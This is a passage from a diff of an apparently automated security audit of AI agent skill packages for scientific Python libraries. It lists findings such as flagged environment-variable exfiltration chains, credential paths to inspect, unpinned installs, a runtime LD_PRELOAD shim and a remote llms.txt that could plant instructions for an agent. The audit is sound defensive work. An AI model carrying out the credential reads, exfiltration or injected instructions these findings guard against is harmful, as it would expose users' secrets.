scvi.py, scanpy.py, assets/models-scrna-seq.md, templates/*.md, assets/workflows.md, etc.). Missing files could indicate an incomplete package, or in a worst case, that the skill is designed to fetch these from external sources at runtime. The static analyzer flagged a cross-file exfiltration chain across 3 files, which warrants attention even though no explicit exfiltration code was found in the available files.> File: `SKILL.md`- > **Remediation:** Immediately inspect the 3 Python files in the skill package for: (1) os.environ or os.getenv calls, (2) network calls (requests, urllib, httpx, etc.), (3) file read operations on sensitive paths (~/.aws, ~/.ssh, ~/.config, etc.). Remove any code that reads environment variables and transmits them externally. If legitimate network calls are needed, document them explicitly in the manifest and restrict to known safe endpoints.+ > **Remediation:** Ensure all referenced files are bundled within the skill package. Audit whether scvi.py and scanpy.py (Python scripts) contain any data exfiltration or command injection logic before deploying. The static analyzer flagged environment variable access with network calls across a cross-file chain — these missing Python files should be reviewed carefully.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Declaration- > The SKILL.md manifest does not declare an 'allowed-tools' field. While this field is optional per the agent skills spec, its absence means there are no declared restrictions on what tools the agent can use when executing this skill. The skill instructs the agent to use the Read tool to load reference files, and the static analyzer flagged potential environment variable exfiltration and cross-file exfiltration chains in associated Python files (though no script files were found in the provided content). The absence of tool restrictions is a low-severity informational finding.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Manifest Field+ > The SKILL.md manifest does not specify the 'allowed-tools' field. While this is an optional field per the agent skills spec, its absence means there are no declared restrictions on which agent tools (Read, Write, Bash, Python, etc.) this skill may invoke. Given the skill's complexity and the number of referenced files, documenting allowed tools would improve transparency.> File: `SKILL.md`- > **Remediation:** Consider adding 'allowed-tools: [Read, Python]' or appropriate restrictions to limit the agent's tool usage to what is necessary for this skill.+ > **Remediation:** Add an explicit 'allowed-tools' field to the YAML frontmatter listing the tools this skill requires, e.g., 'allowed-tools: [Read, Python]'. This improves auditability and limits unintended tool use.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Description in Manifest- > The skill description is very broad, claiming to work with 'any black-box model' and listing numerous model types, plot types, and use cases. While this is largely accurate for the SHAP library, the description is designed to maximize activation across a wide range of ML-related queries. This is a minor concern as the actual skill content matches the described capabilities.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Compatibility Field in Manifest+ > The SKILL.md manifest does not specify the 'compatibility' field. This makes it unclear which agent environments or platforms this skill is designed to operate in, reducing transparency about its intended deployment context.> File: `SKILL.md`- > **Remediation:** Narrow the description to core use cases to reduce over-broad activation. This is a minor issue as the skill content is legitimate.+ > **Remediation:** Add a 'compatibility' field to the YAML frontmatter specifying supported environments (e.g., 'Claude.ai, Claude Code, API').-### transformers — 🟡 MEDIUM+### statsmodels — 🟡 MEDIUM-- **🟡 MEDIUM** `LLM_UNAUTHORIZED_TOOL_USE` — trust_remote_code=True Usage Without Sufficient Safeguards- > The SKILL.md instructions mention using 'trust_remote_code=True' when loading models with custom architectures. This parameter allows arbitrary Python code from the Hugging Face Hub to execute in the user's environment. While the instructions note this should only be used 'when the model card requires custom code you have reviewed', the guidance is insufficiently strong and could lead users to enable arbitrary remote code execution without adequate review.- > File: `SKILL.md`- > **Remediation:** Add a prominent security warning about the risks of trust_remote_code=True. Recommend users inspect the model repository's source code before enabling this flag, and suggest using model hashes/revisions to pin to a specific reviewed version (e.g., from_pretrained('model-id', trust_remote_code=True, revision='specific-commit-hash')).+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Static Analyzer Flagged Environment Variable Exfiltration Chain Across Multiple Files+ > The pre-scan static analyzer detected BEHAVIOR_ENV_VAR_EXFILTRATION (environment variable access combined with network calls) and BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN across 3 files, as well as BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION across 3 files. These findings indicate that at least some of the skill's files (likely the missing .py files: statsmodels.py, scipy.py, matplotlib.py, or sklearn.py) contain code that reads environment variables and makes network calls, a classic data exfiltration pattern. The files were not available for direct inspection, preventing confirmation of the exact code, but the static analyzer findings are credible indicators of malicious behavior.+ > **Remediation:** Do not deploy this skill until all referenced Python files are located and audited. Specifically inspect statsmodels.py, scipy.py, matplotlib.py, and sklearn.py for: (1) os.environ or os.getenv calls, (2) network calls (requests, urllib, http.client, socket), (3) any pattern that reads environment variables and sends data externally. If confirmed malicious, remove or rewrite the offending code.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — HF_TOKEN Environment Variable Guidance Could Encourage Insecure Practices- > The SKILL.md instructions include guidance on setting HF_TOKEN via 'export HF_TOKEN="..."' in the environment. While the instructions do warn against committing tokens to git or shell profiles, the inline export example could be misused. The static analyzer flagged environment variable access patterns in conjunction with network calls across multiple files, though no actual exfiltration code was found in the reviewed content.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing Referenced Script Files May Indicate Incomplete Package+ > The skill references several Python files (statsmodels.py, scipy.py, matplotlib.py, sklearn.py) that were not found in the package. The pre-scan static analyzer flagged environment variable exfiltration and cross-file exfiltration chains across 3 files, suggesting these missing scripts may contain malicious behavior that could not be fully analyzed. The absence of these files prevents complete security assessment.> File: `SKILL.md`- > **Remediation:** Reinforce the recommendation to use 'hf auth login' as the primary authentication method. Consider removing the inline export example or replacing it with a reference to a secrets manager pattern only.+ > **Remediation:** Locate and review the missing Python script files (statsmodels.py, scipy.py, matplotlib.py, sklearn.py). The static analyzer flagged environment variable access combined with network calls across multiple files, which is a high-risk pattern. These files must be audited before deployment.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Declaration- > The skill does not specify an 'allowed-tools' field in its YAML manifest. While this field is optional per the agent skills spec, its absence means there are no declared restrictions on which agent tools (Read, Write, Bash, Python, etc.) this skill may invoke. Given the skill's scope (model loading, training, inference), explicit tool declarations would improve transparency.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Skill Description with Cross-Skill Routing Instructions+ > The skill description includes routing instructions directing users to other skills ('For guided statistical test selection with APA reporting use statistical-analysis'), which is an unusual pattern for a library wrapper skill. While not overtly malicious, the description attempts to influence agent skill selection behavior beyond its stated scope.> File: `SKILL.md`- > **Remediation:** Add an explicit 'allowed-tools' field to the YAML frontmatter, e.g., 'allowed-tools: [Python, Bash]', to document the intended tool usage scope.+ > **Remediation:** Limit the skill description to describing what the skill does, not routing instructions to other skills. Remove cross-skill routing directives from the description field.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Dependency Versions in Installation Instructions- > The installation instructions use version range specifiers (e.g., 'transformers[torch]>=5.9') rather than exact pinned versions. This could allow installation of future versions with breaking changes or, in a supply chain attack scenario, a maliciously published version that satisfies the constraint.+### vaex — 🟡 MEDIUM++- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Static Analyzer Flagged Environment Variable Exfiltration and Cross-File Exfiltration Chain+ > The pre-scan static analysis flagged BEHAVIOR_ENV_VAR_EXFILTRATION (environment variable access combined with network calls) and BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN across 2 files, as well as BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION. While the provided skill files (SKILL.md and reference markdown files) do not contain explicit malicious code, several referenced files were not found (vaex.py, templates/*, assets/*), and the static analyzer detected these patterns in the full file inventory of 23 files (9 markdown, 6 Python, 8 other). The 6 Python files and 8 other files were not provided for review but are present in the package. The missing files — particularly vaex.py and the unreviewed Python files — may contain the flagged exfiltration behavior.> File: `SKILL.md`- > **Remediation:** Consider pinning exact versions (e.g., 'transformers[torch]==5.9.x') or providing a requirements.txt/lockfile with pinned hashes for reproducible and secure installations.+ > **Remediation:** Audit all Python files in the package, especially vaex.py and any scripts in templates/ and assets/ directories. Look for os.environ access combined with requests/urllib/socket calls. Ensure no credentials or environment variables are transmitted to external endpoints.-### xlsx — 🟡 MEDIUM+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Skill Description with Excessive Trigger Keywords+ > The skill description is very broad and contains numerous trigger keywords ('billions of rows', 'large CSV/HDF5/Arrow/Parquet files', 'fast statistics', 'massive datasets', 'visualizations', 'ML pipelines', 'out-of-core', 'lazy evaluation') that could cause the skill to be activated for a wide range of data processing tasks beyond its intended scope. While this is a legitimate data processing skill, the description is crafted to maximize activation across many scenarios.+ > File: `SKILL.md`+ > **Remediation:** Narrow the description to focus on the primary use case. Avoid listing every possible trigger scenario in the description field.- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation Instructions- > The SKILL.md instructions recommend installing packages using `uv pip install openpyxl pandas` and optionally `uv pip install python-calamine` and `uv pip install defusedxml` without version pins. Unpinned installations are vulnerable to supply chain attacks where a malicious version of a package could be published and automatically installed.+ > The skill instructs installation of vaex and related packages without version pinning (e.g., 'uv pip install vaex', 'uv pip install s3fs gcsfs adlfs'). This creates supply chain risk as future versions of these packages could introduce malicious or breaking behavior. The compatibility note mentions vaex 4.19.0 but the install command does not pin to this version.> File: `SKILL.md`- > **Remediation:** Pin all package versions explicitly, e.g., `uv pip install openpyxl==3.1.5 pandas==2.2.2 defusedxml==0.7.1`. The SKILL.md already mentions openpyxl 3.1.5 in the best practices section — apply this pinning to the installation commands as well.--- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Dynamic Compilation and LD_PRELOAD Injection of Native Shim- > The `soffice.py` script dynamically compiles a C source file (`_SHIM_SOURCE`) using `gcc` and loads the resulting shared library via `LD_PRELOAD` when Unix domain sockets are unavailable. While the C source is hardcoded within the Python file and a SHA-256 hash check is performed, this pattern introduces significant risk: (1) the compiled `.so` is written to a user-writable cache directory (`~/.cache/xlsx-skill/lo-shim/`), (2) `LD_PRELOAD` injects into all subsequent LibreOffice process calls, and (3) if an attacker can replace the `.so` file or the hash file before the integrity check, arbitrary native code executes with the process's privileges. The shim intercepts `socket`, `listen`, `accept`, `close`, and `read` syscalls.- > File: `scripts/office/soffice.py`- > **Remediation:** Consider shipping the pre-compiled shim as part of the skill package rather than compiling at runtime. If runtime compilation is necessary, verify the integrity of the compiled output (not just the source hash), use a more isolated temp directory with stricter permissions, and document this behavior prominently in the skill manifest. Validate that `gcc` is the expected binary before invoking it.+ > **Remediation:** Pin package versions in installation instructions: 'uv pip install vaex==4.19.0'. For optional dependencies, also specify versions: 'uv pip install s3fs==2024.x.x gcsfs==2024.x.x'.-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Environment Variable Filtering in LibreOffice Subprocess Environment- > The `get_soffice_env()` function in `scripts/office/soffice.py` constructs a minimal environment for LibreOffice subprocesses by selectively copying specific keys from `os.environ`. While the intent is to restrict secrets, the function copies `HOME`, `USER`, `PATH`, `LANG`, `LC_ALL`, `LC_CTYPE`, `TMPDIR`, `TMP`, and `TEMP` — some of which (e.g., `HOME`, `USER`) could contain or expose user identity information. The static analyzer flagged a cross-file env var exfiltration chain involving this file. However, the environment is passed only to `soffice` (LibreOffice), a local process, and no network exfiltration endpoint is present in the reviewed code. The risk is moderate: if the LibreOffice binary or macro were compromised, these env vars would be available to it.- > File: `scripts/office/soffice.py`- > **Remediation:** This is largely acceptable design. However, consider documenting explicitly why each env var is needed. Remove `USER` if not strictly required by LibreOffice. Ensure no additional env vars are added to `_SOFFICE_ENV_KEYS` without review.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Cloud Credential Usage Pattern in Reference Documentation+ > The io_operations.md reference documents patterns for accessing cloud storage (S3, GCS, Azure) using credentials, including explicit credential passing via access_key/secret_key parameters and reading from ~/.aws/credentials implicitly via default credential chains. While this is legitimate documentation for cloud I/O, the skill instructs the agent to use these patterns, which could result in the agent accessing and transmitting cloud credentials when processing user data.+ > File: `references/io_operations.md`+ > **Remediation:** Add explicit warnings in the documentation that cloud credentials should never be hardcoded. Instruct the agent to prompt users for credential handling preferences and avoid storing credentials in generated code.-- **🔵 LOW** `LLM_COMMAND_INJECTION` — Subprocess Calls with User-Controlled File Paths- > In `scripts/recalc.py`, the `recalc()` function passes a user-supplied filename directly to a `subprocess.run()` call as a positional argument to `soffice`. While this is passed as a list (not a shell string), the absolute path is constructed from user input and passed to LibreOffice. A maliciously crafted filename (e.g., containing LibreOffice macro URI syntax) could potentially influence LibreOffice's behavior. The `abs_path` is derived from `Path(filename).absolute()` without sanitization of the filename content itself.- > File: `scripts/recalc.py`- > **Remediation:** Validate that the filename has an expected extension (.xlsx, .xlsm) and does not contain special characters before passing to subprocess. Consider using `Path.resolve()` and checking the resolved path is within an expected working directory.+### astropy — 🔵 LOW-- **🔵 LOW** `LLM_UNAUTHORIZED_TOOL_USE` — LibreOffice Macro Written and Executed from User-Writable Directory- > The `setup_libreoffice_macro()` function writes a StarBasic macro (`Module1.xba`) to the LibreOffice user macro directory (`~/.config/libreoffice/4/user/basic/Standard/` on Linux). This macro is then invoked via `soffice --headless` with a `vnd.sun.star.script:` URI. If an attacker can write to this directory before the skill does, or modify the macro file between the existence check and execution, a malicious macro could be executed by LibreOffice with the user's privileges. The existence check (`os.path.exists` + string match) is not atomic.- > File: `scripts/recalc.py`- > **Remediation:** Consider verifying the full content of the macro file (e.g., hash comparison) rather than just checking for a substring. Set restrictive file permissions on the macro file after writing. Document this behavior in the skill manifest so users are aware a macro is being installed in their LibreOffice profile.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Missing Version Pins for Optional Dependency Extras+ > While the skill correctly pins the core astropy package to version 7.2.0, the optional dependency extras (recommended, all) are pinned at the top level but the transitive dependencies pulled in by those extras are not individually pinned. This could allow supply chain drift if optional dependencies are updated.+ > File: `SKILL.md`+ > **Remediation:** For fully reproducible environments, consider using a lockfile (e.g., uv lock) or providing a requirements.txt with all transitive dependencies pinned. The current approach is reasonable for most use cases but note the limitation.-### zarr-python — 🟡 MEDIUM+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Network Access Privacy Warnings for Sensitive Data+ > The skill documents several functions that make network calls which could inadvertently expose sensitive information: SkyCoord.from_name() sends object names to Sesame/SIMBAD/NED; EarthLocation.of_address() sends addresses to geocoding services; download_file() discloses URLs to remote hosts; and remote FITS reads disclose URIs to storage providers. The skill does include appropriate privacy warnings in the reference files, but users may not read them carefully.+ > File: `references/coordinates.md`+ > **Remediation:** The existing warnings are appropriate. Consider elevating these warnings to the main SKILL.md body (they are currently only in reference files) so they are more prominent. The skill already includes Best Practice #11 in SKILL.md which covers this adequately.-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Cloud Credential Environment Variable Access Patterns- > The skill's instructions explicitly reference AWS and GCS credential environment variables (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_DEFAULT_REGION, GOOGLE_APPLICATION_CREDENTIALS) and instructs the agent to use them for cloud storage operations. While the stated purpose is legitimate cloud I/O, the static analyzer flagged BEHAVIOR_ENV_VAR_EXFILTRATION and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION across 2 files, indicating that Python files in the package (not shown in the provided content) may be reading these credentials and potentially transmitting them externally. The combination of credential access patterns in instructions plus static detection of exfiltration behavior is a medium-severity concern.- > File: `SKILL.md`- > **Remediation:** Review all Python files in the package for any code that reads AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GOOGLE_APPLICATION_CREDENTIALS, or similar credential environment variables and makes outbound network calls to non-AWS/GCS endpoints. Ensure cloud credentials are only passed to the intended cloud provider SDKs (s3fs, gcsfs) and not to third-party or attacker-controlled endpoints.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — IERS Auto-Download May Leak Timing Context+ > The time module documentation notes that astropy may auto-download IERS-A data for UT1/polar-motion corrections. This network call could reveal that a user is performing high-precision timing work and the approximate timing of observations. The reference file does include a note about disabling auto-download, but this is only in the reference file, not prominently in the main skill instructions.+ > File: `references/time.md`+ > **Remediation:** The reference file already documents how to disable auto-download. Consider adding a note in the main SKILL.md Best Practices section about disabling IERS auto-download for offline or privacy-sensitive environments.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing Referenced Script Files (dask.py, zarr.py, h5py.py, xarray.py)- > The skill references several Python files (dask.py, zarr.py, h5py.py, xarray.py) that were not found in the package. While these may be legitimate missing bundled files, their absence combined with the static analyzer's detection of environment variable exfiltration and cross-file exfiltration chains across 2 files warrants attention. The static analyzer flagged BEHAVIOR_ENV_VAR_EXFILTRATION and BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN, suggesting that among the 5 Python files detected in the package inventory, some may contain credential harvesting or data exfiltration logic that was not surfaced in the provided content.- > File: `SKILL.md`- > **Remediation:** Audit all 5 Python files detected in the package inventory. Verify that none of them read environment variables (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GOOGLE_APPLICATION_CREDENTIALS, etc.) and transmit them to external endpoints. The static analyzer's cross-file exfiltration chain finding is a significant red flag requiring manual review of the unreported Python files.+### bioservices — 🔵 LOW-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Third-Party Community Skill Impersonating Official Zarr Package- > The skill explicitly states it is 'a community guide maintained by K-Dense Inc., not an official zarr-developers package' but uses the name `zarr-python` which closely mirrors the official PyPI package name. This could cause confusion and lead users or agents to trust the skill as if it were official. The skill-author metadata ('K-Dense Inc.') is an unknown third party with no established reputation in the zarr ecosystem.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Restriction for Network Access+ > The skill declares allowed-tools as [Read, Write, Edit, Bash] but all scripts make extensive outbound network calls to 40+ external bioinformatics APIs (UniProt, KEGG, NCBI BLAST, ChEMBL, ChEBI, PSICQUIC, QuickGO, UniChem, etc.). The 'Python' tool is not listed in allowed-tools, yet the skill instructions and scripts are entirely Python-based. This inconsistency means the declared tool restrictions do not accurately reflect the skill's actual behavior. Network access is not represented in the allowed-tools field.> File: `SKILL.md`- > **Remediation:** Rename the skill to clearly distinguish it from the official package (e.g., `kdense-zarr-guide`). Users should verify the provenance of community skills before installation, especially those with names matching popular open-source packages.+ > **Remediation:** Update allowed-tools to include 'Python' since all scripts are Python-based. Consider adding a note about network access requirements. The compatibility field already mentions internet access, which is good.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Dependency Versions in Installation Instructions- > The skill recommends installing zarr with a version range (`zarr>=3.2,<4`) rather than an exact pinned version. Similarly, `s3fs` and `gcsfs` are installed without any version pins. This exposes users to supply chain risks where a malicious or compromised package version could be automatically installed.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Installation of bioservices Package+ > The skill installs bioservices with a pinned version (==1.16.0), which is good practice. However, the installation command uses 'uv pip install' without a hash verification or lockfile, and the transitive dependencies of bioservices (requests, suds-py3, etc.) are not pinned. A compromised transitive dependency could introduce malicious behavior. This is a minor supply chain concern.> File: `SKILL.md`- > **Remediation:** Pin all dependencies to exact versions (e.g., `zarr==3.2.1`, `s3fs==2024.x.x`, `gcsfs==2024.x.x`) and verify package hashes. Use a lockfile approach for reproducible installs.+ > **Remediation:** Consider using a requirements file with hashed dependencies (pip install --require-hashes) or a lockfile to ensure reproducible and verified installations of all transitive dependencies.-### adaptyv — 🔵 LOW+- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded Pathway Analysis Loop Without Rate Limiting+ > The pathway_analysis.py script iterates over all pathways for an organism (potentially 300+ for human 'hsa') and makes individual API calls for each pathway without any delay between requests. This could result in hundreds of sequential API calls to KEGG servers, potentially triggering rate limiting or temporary IP bans. The --limit flag mitigates this but is optional.+ > File: `scripts/pathway_analysis.py:80`+ > **Remediation:** Add a configurable delay between API calls (e.g., time.sleep(0.5)) in the analyze_all_pathways loop to respect KEGG's rate limits and avoid overwhelming the service.-- **🔵 LOW** `LLM_PROMPT_INJECTION` — Skill References External URLs for Authoritative Instructions- > The SKILL.md instructs the agent to consult external documentation sources including `https://docs.adaptyvbio.com/api-reference`, `https://docs.adaptyvbio.com/llms.txt`, and `https://foundry-api-public.adaptyvbio.com/api/v1/openapi.json`. If these external resources were compromised or modified, they could deliver malicious instructions to the agent. The `llms.txt` index in particular is designed to be consumed by LLMs and could contain prompt injection payloads if the external server were compromised.- > File: `SKILL.md`- > **Remediation:** Treat content fetched from external URLs as untrusted data. If the agent fetches and processes `llms.txt` or the OpenAPI spec at runtime, it should sanitize and validate the content before acting on it, and should not follow any instruction-like content found in those external resources.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Environment Variable Access Combined with Network Calls (NCBI_EMAIL)+ > Multiple scripts read the NCBI_EMAIL environment variable and pass it to external network services (NCBIblast.run()). While this is a documented and legitimate requirement for NCBI BLAST usage, the pattern of reading environment variables and transmitting their contents to external servers is worth noting. The email is sent to NCBI's official API endpoint as a contact identifier, which is standard practice. No malicious exfiltration is evident, but users should be aware their email address is transmitted to NCBI servers.+ > File: `scripts/protein_analysis_workflow.py:30`+ > **Remediation:** This is expected behavior for NCBI BLAST. Ensure users are informed that their email address (from NCBI_EMAIL) is transmitted to NCBI servers as required by NCBI's usage policy. Document this clearly in the skill description.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Overly Broad Activation Triggers in Skill Description- > The skill description contains an extensive list of activation triggers including generic code patterns (`adaptyv`, `adaptyv_sdk`, `FoundryClient`), domain references (`foundry-api-public.adaptyvbio.com`), and broad topic areas (protein binding assays, BLI/SPR assays, thermostability assays). While these are legitimate use cases, the breadth of triggers could cause the skill to activate in contexts where it is not needed, potentially interfering with other skills or workflows.- > File: `SKILL.md`- > **Remediation:** Narrow the activation triggers to the most specific and unambiguous identifiers (e.g., explicit Adaptyv brand mentions or SDK imports) rather than broad scientific domain terms that could match unrelated contexts.+### cirq — 🔵 LOW-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — SDK Installed from Unpinned GitHub Source Without Version Pin- > The skill instructs users to install the `adaptyv-sdk` package directly from a GitHub repository without specifying a commit hash, tag, or version pin. This means any future commit to the repository (including potentially malicious ones) would be installed by users following these instructions. The skill explicitly notes the package is in beta (0.1.0) and not yet on PyPI, increasing the risk of supply chain compromise.- > File: `SKILL.md`- > **Remediation:** Pin the installation to a specific commit hash or tag, e.g.: `uv pip install "git+https://github.com/adaptyvbio/[email protected]"` or `uv pip install "git+https://github.com/adaptyvbio/adaptyv-sdk.git@<commit-sha>"`. Once the package is published to PyPI with a stable release, prefer `uv pip install adaptyv-sdk==0.1.0`.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Environment Variable Access for API Credentials+ > The skill's reference files (hardware.md, references/hardware.md, references/noise.md, references/simulation.md) contain code patterns that read sensitive API credentials from environment variables (GOOGLE_CLOUD_PROJECT, IONQ_API_KEY, AZURE_QUANTUM_RESOURCE_ID, AZURE_QUANTUM_LOCATION, AQT_TOKEN, PASQAL_TOKEN) and pass them to external quantum hardware service APIs. While this is standard practice for quantum hardware integration and the credentials are read from environment variables (not hardcoded), the pattern of reading credentials and making network calls to external services warrants documentation. The static analyzer flagged cross-file env var exfiltration chains across 7 files.+ > File: `references/hardware.md`+ > **Remediation:** This is expected behavior for a quantum hardware integration skill. Ensure users are aware that running hardware-targeting code will transmit circuit data and credentials to external quantum cloud providers (Google, IonQ, Azure, AQT, Pasqal). Document clearly which environment variables are required and what data is transmitted to each provider. Credentials should only be set for providers the user intends to use.-### anndata — 🔵 LOW+### cobrapy — 🔵 LOW-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Metadata- > The skill does not specify the 'allowed-tools' field in its YAML manifest. While this field is optional per the agent skills spec, its absence means there are no declared restrictions on which agent tools (Read, Write, Bash, Python, etc.) can be invoked. For a skill that only provides documentation and code examples, this is a minor informational gap.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Remote Model Fetching via Network Without Explicit User Consent Warning+ > The skill's compatibility notes and instructions indicate that load_model() can fetch models from BiGG or BioModels repositories over the network. While this is documented behavior for a legitimate metabolic modeling library, the skill does not explicitly warn users before initiating network connections. The static analyzer flagged potential environment variable access combined with network calls, which warrants review in the context of the 32 files (10 Python scripts) not fully visible in this analysis.> File: `SKILL.md`- > **Remediation:** Consider adding 'allowed-tools: [Read]' or similar to the YAML manifest to explicitly document the intended tool scope, improving transparency and reducing the risk of unintended tool use.+ > **Remediation:** Ensure the agent confirms with the user before making network requests to fetch remote models. The skill already notes this in compatibility, but should add an explicit user-confirmation step in the instructions for remote model loading.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Compatibility Metadata- > The skill does not specify the 'compatibility' field in its YAML manifest. This is a minor documentation gap that reduces transparency about which environments the skill is intended to operate in.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Referenced Files May Indicate Incomplete Package+ > Several files referenced in the SKILL.md instructions are not found in the skill package: matplotlib.py, templates/workflows.md, assets/api_quick_reference.md, cobra.py, assets/workflows.md, templates/api_quick_reference.md. While the core reference files (references/workflows.md and references/api_quick_reference.md) are present, the missing files could indicate an incomplete package or references to non-existent resources. The 'matplotlib.py' reference is particularly unusual as it shadows the standard matplotlib library name.> File: `SKILL.md`- > **Remediation:** Add a 'compatibility' field to the YAML manifest specifying supported environments (e.g., 'Works in Claude.ai, Claude Code, API').+ > **Remediation:** Remove references to non-existent files or include them in the package. Rename any local files that shadow standard library names (e.g., matplotlib.py, cobra.py) to avoid import conflicts.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Instruction to Download Data Directly from URLs- > The io_operations.md reference file includes a pattern for reading h5ad files directly from URLs using ad.read_h5ad(url, backed='r'). While this is a legitimate anndata feature, it instructs the agent to fetch data from arbitrary user-supplied URLs without any validation or sandboxing guidance. This could be used to direct the agent to fetch data from attacker-controlled servers.- > File: `references/io_operations.md`- > **Remediation:** Add a note in the instructions that URL sources should be validated and trusted before use. Recommend that users download files locally first and then load them, rather than streaming directly from arbitrary URLs.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — File Output to OUTDIR Without Consistent Pre-Confirmation Enforcement+ > The workflow scripts write CSV and PNG files to an OUTDIR variable. While the skill includes a note to confirm OUTDIR with the user before running, this is advisory text rather than an enforced gate. The OUTDIR is initialized as a hardcoded string 'cobrapy_output' and used throughout without a mandatory confirmation step in the code itself. This could lead to unintended file writes to the user's filesystem.+ > File: `references/workflows.md`+ > **Remediation:** Add an explicit user confirmation step before any file write operations. Consider prompting the user to specify OUTDIR interactively rather than defaulting to a hardcoded path, or add a clear instruction in SKILL.md requiring agent confirmation before executing any workflow that writes files.-### benchling-integration — 🔵 LOW+### dask — 🔵 LOW-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Environment Variable Access Combined with Network Calls- > The skill reads environment variables (BENCHLING_TENANT_URL, BENCHLING_API_KEY, BENCHLING_CLIENT_ID, BENCHLING_CLIENT_SECRET) and makes network calls to the Benchling API. The static analyzer flagged this pattern across multiple files as potential env var exfiltration. However, in context, the skill explicitly documents scoped reads of only named keys and instructs never to dump or iterate over the full environment. The network calls target the user's own Benchling tenant URL (user-controlled). This is expected behavior for a Benchling integration skill, but the pattern warrants documentation as a low-severity informational finding since the tenant URL itself is user-supplied and could theoretically be redirected.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Reference Files May Indicate Incomplete Package+ > Multiple referenced files are not found in the skill package (assets/futures.md, templates/arrays.md, templates/futures.md, assets/dataframes.md, assets/schedulers.md, assets/best-practices.md, templates/schedulers.md, templates/dataframes.md, assets/bags.md, templates/bags.md, dask.py, assets/arrays.md, templates/best-practices.md). The instructions reference these files as if they exist, but they are absent. This could indicate an incomplete package or that the skill is designed to reference files that don't exist, potentially causing unexpected agent behavior when attempting to load them.> File: `SKILL.md`- > **Remediation:** The skill already includes good guidance: read only named environment variables, never iterate os.environ, and route calls exclusively to the tenant URL. Users should verify the BENCHLING_TENANT_URL is set to their own tenant before running integrations. No code changes required, but consider adding runtime validation that the tenant URL matches an expected domain pattern (e.g., *.benchling.com).+ > **Remediation:** Ensure all referenced files are included in the skill package, or remove references to non-existent files from the instructions.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Preview/Prerelease Package Installation- > The skill documents installation of benchling-sdk with a pinned stable version (1.25.0), which is good practice. However, it also documents a prerelease installation command without version pinning ('uv pip install "benchling-sdk" --prerelease allow'). Unpinned prerelease installs could pull in untested or potentially compromised package versions from PyPI.- > File: `SKILL.md`- > **Remediation:** Add a warning that prerelease installs should never be used in production and should specify a version pin even for preview builds (e.g., 'uv pip install "benchling-sdk==1.26.0a1" --prerelease allow'). The existing note '(alpha; not for production)' is helpful but insufficient to prevent accidental use.+### database-lookup — 🔵 LOW-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Missing Referenced Script Files (benchling_sdk.py, Bio.py)- > The skill references two Python files (benchling_sdk.py and Bio.py) that were not found in the package. The Bio.py reference corresponds to the BioPython library (from Bio import SeqIO), which is an external dependency used in the bulk entity import example. The benchling_sdk.py reference appears to be an artifact. Missing files mean the skill cannot be fully audited for supply chain risks, and the BioPython dependency (biopython package) is not pinned in any manifest.+- **🔵 LOW** `LLM_COMMAND_INJECTION` — Shell Command Execution with User-Controlled Input+ > The skill instructs the agent to use curl via shell/bash tools for POST-only APIs (Open Targets, gnomAD, GDC/TCGA, SEC EDGAR, RummaGEO). User-provided query terms (gene names, compound names, disease names, etc.) are incorporated into curl command arguments and JSON payloads. If user input is not properly sanitized before being embedded in shell commands, this could lead to command injection. The SIMBAD reference explicitly warns about injection risks with user-supplied identifiers.> File: `SKILL.md`- > **Remediation:** Remove the spurious benchling_sdk.py and Bio.py file references. Document the biopython dependency explicitly with a pinned version (e.g., 'uv pip install biopython==1.84') in the skill's setup 